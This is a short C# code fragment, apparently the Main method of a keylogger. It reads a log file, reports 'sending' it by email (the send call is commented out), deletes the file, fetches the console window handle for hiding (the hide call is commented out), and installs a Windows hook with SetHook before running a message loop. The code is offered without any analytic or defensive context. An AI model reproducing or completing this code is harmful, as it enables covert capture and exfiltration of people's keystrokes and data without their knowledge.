public static void Main() { ConsoleProcess.SayHello(); try { using (FileStream fs = new FileStream(Const.file, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) { ConsoleProcess.Say(String.Format("Found file '{0}'", Const.file)); if (fs != null) { ConsoleProcess.Say(String.Format("Sending '{0}'", Const.file)); //MailProcess.SendEmail(fs); ConsoleProcess.Say(String.Format("Sent file '{0}'", Const.file)); fs.Dispose(); File.Delete(Const.file); ConsoleProcess.Say(String.Format("Delete file '{0}'", Const.file)); } } } catch (Exception ex) { ConsoleProcess.Say(ex.ToString()); } var handle = GetConsoleWindow(); // Hide //ShowWindow(handle, SW_HIDE); _hookID = SetHook(_proc); Application.Run(); UnhookWindowsHookEx(_hookID); }